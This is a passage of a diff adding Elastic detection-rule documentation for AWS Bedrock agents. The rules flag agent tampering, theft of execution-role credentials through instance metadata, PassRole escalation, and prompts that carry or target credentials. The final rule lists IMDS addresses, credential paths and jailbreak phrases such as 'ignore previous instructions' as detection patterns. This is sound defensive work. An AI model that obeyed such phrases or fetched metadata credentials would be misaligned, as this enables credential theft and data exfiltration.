personal key use + is itself a misconfiguration worth noting. + + +*Response and remediation* + +- Delete the unauthorized agent using `DeleteAgent`. +- Review and remove associated action groups and aliases. +- Audit Lambda functions referenced in action group executors for malicious code. +- Restrict `bedrock:CreateAgent` to specific deployment roles via IAM policy or SCP. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: "CreateAgent" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: ("IAMUser" or "Root") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agent-or-action-group-manipulation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agent-or-action-group-manipulation.asciidoc new file mode 100644 index 0000000000..53c8abafb3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agent-or-action-group-manipulation.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agent-or-action-group-manipulation]] +=== AWS Bedrock Agent or Action Group Manipulation + +Detects modification of deployed Amazon Bedrock agents and their action groups, collaborators, or aliases via the Bedrock Agent control plane. Adversaries with access to an AWS account can tamper with an existing, trusted agent by altering its instructions (UpdateAgent), adding or changing action groups that wire the agent to Lambda functions or APIs (CreateAgentActionGroup, UpdateAgentActionGroup), attaching or modifying collaborators (AssociateAgentCollaborator, UpdateAgentCollaborator), or repointing an alias to a tampered version (CreateAgentAlias, UpdateAgentAlias). A PrepareAgent call is required to make a tampered configuration live. By implanting malicious behavior into an agent that legitimate users continue to invoke, an attacker can maintain durable access through a trusted component. Creation of brand-new agents (CreateAgent) is intentionally excluded as lower-signal activity. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_UpdateAgent.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_CreateAgentActionGroup.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_PrepareAgent.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0081 +* Mitre Atlas: AML.T0053 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Agent or Action Group Manipulation* + + +Amazon Bedrock agents orchestrate foundation models with developer-defined instructions and action groups that connect +the agent to Lambda functions or APIs. Because end users and applications repeatedly invoke deployed agents, an attacker +who modifies an existing agent's instructions, action groups, collaborators, or alias can implant durable malicious +behavior into a trusted component without deploying any new infrastructure. The `PrepareAgent` call makes a tampered +configuration live, and updating an alias repoints traffic to the tampered version. + +This rule identifies changes to existing Bedrock agents while intentionally excluding `CreateAgent`, which represents +net-new resource creation rather than tampering with established, trusted agents. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id` to determine who made the change. + - Inspect `source.ip`, `user_agent.original`, and `aws.cloudtrail.user_identity.invoked_by` to establish whether the + change came from an interactive session, automation, or an unfamiliar location. + - Confirm whether a corresponding change request or deployment exists for the affected agent. +- **Examine the change** + - Review `aws.cloudtrail.request_parameters` and `aws.cloudtrail.flattened.request_parameters` for the targeted agent + ID, action group definition, Lambda ARN, collaborator, or alias routing configuration. + - For `UpdateAgent`, inspect the modified instruction text for prompt-injection or data-exfiltration intent. + - For action group changes, validate the referenced Lambda function or API schema ownership and intent. + - For alias changes, confirm which agent version the alias now points to. +- **Correlate activity** + - Look for a `PrepareAgent` call following configuration changes, which indicates the tampered config was made live. + - Search for surrounding IAM, Lambda, or STS activity from the same identity that could indicate broader compromise. + + +*False positive analysis* + + +- **Planned development and tuning**: Legitimate developers regularly update agent instructions and action groups. + Validate against change tickets and known engineering activity. +- **Automation**: IaC pipelines and deployment tooling may call these APIs on every release. Exempt known automation + roles if they cause recurring false positives. + + +*Response and remediation* + + +- If the change is unauthorized, revert the agent, action group, collaborator, and alias to a known-good version and + re-run `PrepareAgent` to restore trusted behavior. +- Disable or rotate the credentials identified in `aws.cloudtrail.user_identity.access_key_id` if compromise is + suspected. +- Review the affected agent's action group Lambda functions and APIs for malicious code or data flows. +- Restrict `bedrock:UpdateAgent`, `bedrock:*AgentActionGroup`, `bedrock:*AgentCollaborator`, `bedrock:*AgentAlias`, and + `bedrock:PrepareAgent` permissions to a small set of administrative roles. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "UpdateAgent" or + "CreateAgentActionGroup" or + "UpdateAgentActionGroup" or + "AssociateAgentCollaborator" or + "UpdateAgentCollaborator" or + "CreateAgentAlias" or + "UpdateAgentAlias" or + "PrepareAgent" + ) and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc new file mode 100644 index 0000000000..0dec820b8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agentcore-execution-role-used-outside-its-runtime]] +=== AWS Bedrock AgentCore Execution Role Used Outside Its Runtime + +Identifies an Amazon Bedrock AgentCore execution role (an AssumedRole identity whose role name begins with "AgentCore-" or contains "BedrockAgentCore") making an AWS API call to a service it has not previously called. AgentCore runtimes normally interact only with Bedrock inference, AgentCore data-plane, and observability services (CloudWatch Logs, X-Ray, CloudWatch metrics), so an execution role suddenly calling STS, EC2, IAM, Secrets Manager, or other services is a strong indicator that the role's temporary credentials were exfiltrated from the agent's microVM (for example, via the Code Interpreter instance-metadata-service credential theft) and are being used outside the runtime for reconnaissance, privilege escalation, or lateral movement. Because the stolen credentials are recorded in CloudTrail under the execution role's own identity, the anomalous service usage, not the identity, is the detectable signal. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/ +* https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: New Terms +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 +* Mitre Atlas: AML.T0098 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Execution Role Used Outside Its Runtime* + + +AgentCore runtime and tool execution roles are assumed by the AgentCore service and normally only call Bedrock inference, AgentCore data-plane, and observability (CloudWatch Logs, X-Ray, CloudWatch metrics) APIs, all of which this rule excludes. Public research has shown the Code Interpreter microVM exposes the execution role's temporary credentials through the instance metadata service (IMDS), and that a string-filter bypass allows exfiltrating them outside the sandbox. Once stolen, the credentials are used to call other AWS services, but those calls are logged in CloudTrail under the execution role's identity rather than the attacker's, creating an attribution gap. This rule flags the first time an AgentCore execution role ("AgentCore-*" or "*BedrockAgentCore*") calls a non-Bedrock service, which is the point at which exfiltrated credentials are put to use. + + +*Possible investigation steps* + + +- Identify the execution role in "aws.cloudtrail.user_identity.session_context.session_issuer.arn" and map it to its AgentCore runtime, gateway, or code interpreter. +- Review "event.provider" and "event.action" for reconnaissance (sts:GetCallerIdentity, ec2:Describe*, iam:List*/Get*), privilege escalation (sts:AssumeRole, iam:Put*/Attach*), or data access, and assess what the role can reach. +- Compare "source.ip", "source.as.organization.name", and "user_agent.original" against the AgentCore service origin; calls from an external network strongly indicate exfiltrated credentials. +- Determine whether the agent design legitimately added this integration, or whether the activity is unexpected for the role. + + +*False positive analysis* + + +- A newly designed agent integration produces a first-time non-Bedrock call for its execution role. Confirm the integration is approved and exclude the role and service after validation. + + +*Response and remediation* + + +- If unauthorized, revoke the execution role's active sessions, rotate any associated secrets, and review every action the role took since the first anomalous call. +- Restrict the execution role to least privilege, prefer VPC network mode for code interpreters, and ensure the metadata service requires session tokens. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. The AgentCore execution-role name prefix may differ in your environment; tune the role-name filter accordingly. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and aws.cloudtrail.user_identity.session_context.session_issuer.arn: (*role/AgentCore-* or *role/*BedrockAgentCore*) + and event.outcome: "success" + and not event.provider: ( + "bedrock.amazonaws.com" or + "bedrock-runtime.amazonaws.com" or + "bedrock-agentcore.amazonaws.com" or + "bedrock-agentcore-control.amazonaws.com" or + "logs.amazonaws.com" or + "xray.amazonaws.com" or + "monitoring.amazonaws.com" or + "ecr.amazonaws.com" or + "ecr-public.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-gateway-tool-invocation-failure-burst.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-gateway-tool-invocation-failure-burst.asciidoc new file mode 100644 index 0000000000..d8c5e46be8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-gateway-tool-invocation-failure-burst.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agentcore-gateway-tool-invocation-failure-burst]] +=== AWS Bedrock AgentCore Gateway Tool Invocation Failure Burst + +Identifies a burst of failed tool invocations against a single AWS Bedrock AgentCore Gateway within a short window. Individual tool calls fail routinely from bad input or transient upstream errors, but a concentrated run of failures against one gateway can indicate an attacker, or a compromised tool wrapper, probing a tool's parameter surface for an injection point, an authorization bypass, or a schema weakness. Failures can be attributed only to the gateway, not to a specific tool, target, or caller, and a target that is broken for every caller produces the same burst as one caller probing it, so confirm gateway and target health before treating a burst as malicious. + +*Rule type*: threshold + +*Rule indices*: + +* logs-aws_bedrock_agentcore.gateway_application_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/gateway.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Platform: AWS +* Data Source: AWS Bedrock +* Service: AWS Bedrock +* Use Case: Threat Detection +* Tactic: Initial Access +* Threat: Unauthorized AI Usage +* Rule Type: Threshold +* Mitre Atlas: AML.T0053 +* Resources: Investigation Guide +* Profile: Beta + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Gateway Tool Invocation Failure Burst* + + +This rule detects many failed tool invocations against one AgentCore Gateway in a short window. + + +*Possible investigation steps* + + +- Determine whether the gateway's target is simply unhealthy: review the target's upstream service, recent deployments, + and any credential or permission changes. A target failing for every caller is the most common cause. +- Review `aws.bedrock_agentcore.gateway.payload_object` on the failing events; the nested `log` field contains the + underlying error (message, type, stack) and helps separate a genuine fault from probing. +- Identify the gateway from `aws.bedrock_agentcore.gateway.resource_arn` and confirm which tools and targets it fronts. +- The alert count reflects distinct failed invocations (deduplicated by `aws.bedrock_agentcore.gateway.request_id`), + not raw log lines. +- Correlate with the AgentCore runtime logs for the same window to identify the agent or session driving the calls, + since the gateway error events do not carry a caller identity. + + +*False positive analysis* + + +- A broken or misconfigured target fails identically for all callers and will trigger this rule. The error events carry + no caller, target, or tool identity, so separating probing from an outage requires reviewing target health. + + +*Response and remediation* + + +- If the underlying errors indicate varied or malformed inputs rather than a plain outage, treat the calling agent + context as potentially compromised, review its tool configuration and input validation, and restrict the gateway + target's permissions. + + +==== Setup + + +The AWS Bedrock AgentCore integration must be enabled with the gateway_application_logs data stream collecting into logs-aws_bedrock_agentcore.gateway_application_logs-*. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws_bedrock_agentcore.gateway_application_logs" and +aws.bedrock_agentcore.gateway.payload_object.isError: "true" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc new file mode 100644 index 0000000000..44924e70f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agentcore-resource-created-with-iam-execution-role]] +=== AWS Bedrock AgentCore Resource Created with IAM Execution Role + +Detects the creation of an AWS Bedrock AgentCore resource (code interpreter, agent runtime, browser, or harness) with an IAM execution role attached. When an attacker with iam:PassRole permission creates an AgentCore resource and attaches a privileged role, subsequent invocations inside that resource execute as the attached role — enabling privilege escalation to roles that trust bedrock-agentcore.amazonaws.com. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Bedrock +* Service: AWS IAM +* Tactic: Privilege Escalation +* Tactic: Persistence +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Domain: GenAI +* Mitre Atlas: AML.T0012 +* Mitre Atlas: AML.T0103 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Resource Created with IAM Execution Role* + + +AWS Bedrock AgentCore services (code interpreters, agent runtimes, browsers, harnesses) run user workloads inside isolated MicroVMs. When an IAM role is attached at creation time, all code executing inside the resource assumes that role's identity. An attacker with iam:PassRole and bedrock-agentcore:Create* permissions can attach a privileged role and then invoke the resource to operate as that role. + +The four Create* events covered here are management-plane events logged to CloudTrail by default. The subsequent Start*/Invoke* data-plane events are NOT captured by the default management events trail and cannot be detected without enabling data-plane logging. + + +*Possible investigation steps* + + +- Check the caller identity (`aws.cloudtrail.user_identity.arn`) against expected provisioning principals. Unexpected users or roles creating AgentCore resources should be investigated. +- Examine `aws.cloudtrail.request_parameters` for the attached role ARN (`executionRoleArn` or `roleArn`) and evaluate whether that role has permissions beyond what the AgentCore workload legitimately requires. +- Check for subsequent `StartCodeInterpreterSession`, `StartBrowserSession`, or `InvokeAgentRuntime` events from the same caller against the newly created resource (requires data-plane logging to be enabled). +- Review the IAM PassRole permission of the calling identity and whether it is constrained by `iam:PassedToService` conditions. + + +*False positive analysis* + + +- Automated provisioning by CDK/CloudFormation/Terraform with a known service account. +- Platform engineering pipelines deploying Bedrock-based AI workloads. +- Filter on `user_agent.original` for known IaC tools. + + +*Response and remediation* + + +- Suspend the calling identity's iam:PassRole permission while investigating. +- Delete the newly created AgentCore resource to stop active sessions. +- Rotate the attached execution role's credentials if exploitation is confirmed. +- Enable data-plane logging for bedrock-agentcore to detect subsequent session invocations. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "bedrock-agentcore.amazonaws.com" and + event.action: ( + "CreateCodeInterpreter" or + "CreateAgentRuntime" or + "CreateBrowser" or + "CreateHarness" + ) and + event.outcome: "success" and + aws.cloudtrail.request_parameters: (*executionRoleArn* or *roleArn*) and + not aws.cloudtrail.user_identity.invoked_by: ("bedrock-agentcore.amazonaws.com" or "cloudformation.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc new file mode 100644 index 0000000000..a017acb573 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-containing-credentials]] +=== AWS Bedrock AgentCore Runtime Prompt Containing Credentials + +Identifies prompts sent to an Amazon Bedrock AgentCore runtime that contain AWS access key identifiers (AKIA long-term or ASIA temporary/STS), Amazon Bedrock API keys (ABSK bearer tokens), or PEM-encoded private keys. The runtime application logs record the caller-supplied prompt; credentials embedded in a prompt are exposed to the model provider, persisted in observability logs, and may be returned in completions or used by downstream tools. This commonly indicates accidental secret leakage by a user or application, or an attempt to stage credentials for misuse through the agent. Secrets should never be passed to an agent in clear text. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock +* Mitre Atlas: AML.T0055 +* Mitre Atlas: AML.T0057 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Runtime Prompt Containing Credentials* + + +Amazon Bedrock AgentCore runtime application logs capture the prompt supplied to the agent. When that prompt contains an AWS access key (AKIA/ASIA) or a PEM private key, the secret is exposed to the model provider and stored in observability logs, and it may be echoed in completions or consumed by the agent's tools. This usually reflects accidental leakage but can also be an attempt to stage credentials for abuse through the agent. + + +*Possible investigation steps* + + +- Review "aws.bedrock_agentcore.request_payload.prompt" to identify the credential material and determine whether it is live. +- Identify the agent in "aws.bedrock_agentcore.agent_name"/"aws.bedrock_agentcore.resource_arn" and the conversation in "aws.bedrock_agentcore.session_id"; review surrounding prompts in the session. +- Determine the source application or identity invoking the runtime and whether passing secrets was intentional. +- If the key is an AWS access key, identify the IAM principal it belongs to and review its recent activity in CloudTrail for misuse. + + +*False positive analysis* + + +- Sample or documentation key material can match. Confirm whether the credential is live before escalating. + + +*Response and remediation* + + +- If the credential is live, rotate or revoke it immediately and review its activity for unauthorized use. +- Remove the secret from any retained logs or conversation stores where feasible, and notify the owning team. +- Educate users and applications to never pass secrets to agents in clear text, and consider input filtering or guardrails that block credential patterns. + + +==== Setup + + +This rule requires Amazon Bedrock AgentCore runtime application logs collected via the Elastic AWS Bedrock AgentCore integration (observability logs delivered to S3 and ingested into the aws_bedrock_agentcore.runtime_application_logs dataset). See https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html for enabling AgentCore observability. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock_agentcore.runtime_application_logs-* metadata _id, _version, _index +| where aws.bedrock_agentcore.operation == "InvokeAgentRuntime" and ( + aws.bedrock_agentcore.request_payload.prompt rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*bedrock-api-key-[-A-Za-z0-9+/=._~:]{20,}.*""" + ) +| keep _id, _version, _index, @timestamp, aws.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc new file mode 100644 index 0000000000..09fe7aa69c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata]] +=== AWS Bedrock AgentCore Runtime Prompt Targeting Credentials or Instance Metadata + +Identifies prompts sent to an Amazon Bedrock AgentCore runtime that attempt to harvest credentials or coerce the agent into exfiltrating data. The runtime application logs capture the caller-supplied prompt; this rule flags prompts that reference the cloud instance metadata service (169.254.169.254, the ECS task metadata address, or the "latest/meta-data" / "security-credentials" paths), prompts that name AWS access or secret keys directly, and prompt-injection or jailbreak language ("ignore previous instructions", "developer mode", "do anything now") combined with intent to reveal secrets, system prompts, or send data to an external endpoint. Asking an agent to read instance metadata credentials or to exfiltrate secrets is rarely legitimate and indicates an attempt to weaponize the agent for credential theft, even when the model refuses the request. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html +* https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Threat: IMDS Credential Theft +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock +* Mitre Atlas: AML.T0054 +* Mitre Atlas: AML.T0098 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Runtime Prompt Targeting Credentials or Instance Metadata* + + +Amazon Bedrock AgentCore runtimes execute agents that can call tools, run code, and reach network resources. A prompt that instructs the agent to read the cloud instance metadata service, return AWS credentials, or send data to an external endpoint is an attempt to turn the agent into a confused deputy for credential theft and exfiltration. The agent may refuse, but the attempt itself is a strong indicator of targeting; a more capable or misconfigured agent (one with code execution or outbound network access) could comply. + +This rule inspects the caller-supplied prompt recorded in the AgentCore runtime application logs and fires on instance-metadata or credential-endpoint references, explicit AWS key references, or jailbreak/override language paired with secret-extraction or exfiltration intent. + + +*Possible investigation steps* + + +- Review the full prompt in "aws.bedrock_agentcore.request_payload.prompt" to determine whether it targets instance metadata, names credentials, or attempts a jailbreak with exfiltration intent. +- Identify the agent in "aws.bedrock_agentcore.agent_name"/"aws.bedrock_agentcore.resource_arn" and the session in "aws.bedrock_agentcore.session_id"; pivot on the session for the surrounding prompts in the same conversation. +- Determine the caller path to the runtime (front-end application, gateway, or direct InvokeAgentRuntime) and whether the source is expected. +- Assess the agent's capabilities: whether it has code execution, outbound network access, or tools that could fetch metadata or reach external endpoints, which raises the impact if the agent had complied. +- Correlate with the execution role's activity in CloudTrail for any credential use outside the runtime around the same time. + + +*False positive analysis* + + +- Security testing and guardrail validation can deliberately send these payloads. Confirm the caller and exclude approved testing identities after validation. +- Content that legitimately discusses the metadata service or AWS key formats can match; review the prompt to confirm intent. + + +*Response and remediation* + + +- If the activity is unauthorized, identify the source application or identity driving the prompts and block it; review the conversation session for related attempts. +- Verify the agent did not return credentials or reach the metadata service; if the agent has code execution, ensure the instance metadata service requires session tokens (IMDSv2) and that the execution role is least privilege. +- Add or tune AgentCore guardrails to block instance-metadata and credential-exfiltration prompts, and monitor the agent's execution role for use outside the runtime. + + +==== Setup + + +This rule requires Amazon Bedrock AgentCore runtime application logs collected via the Elastic AWS Bedrock AgentCore integration (observability logs delivered to S3 and ingested into the aws_bedrock_agentcore.runtime_application_logs dataset). See https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html for enabling AgentCore observability. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock_agentcore.runtime_application_logs-* metadata _id, _version, _index +| eval Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower = to_lower(aws.bedrock_agentcore.request_payload.prompt) +| where aws.bedrock_agentcore.operation == "InvokeAgentRuntime" and ( + Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(169\.254\.169\.254|169\.254\.170\.2|/latest/meta-data|/latest/api/token|security-credentials).*""" + or Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower 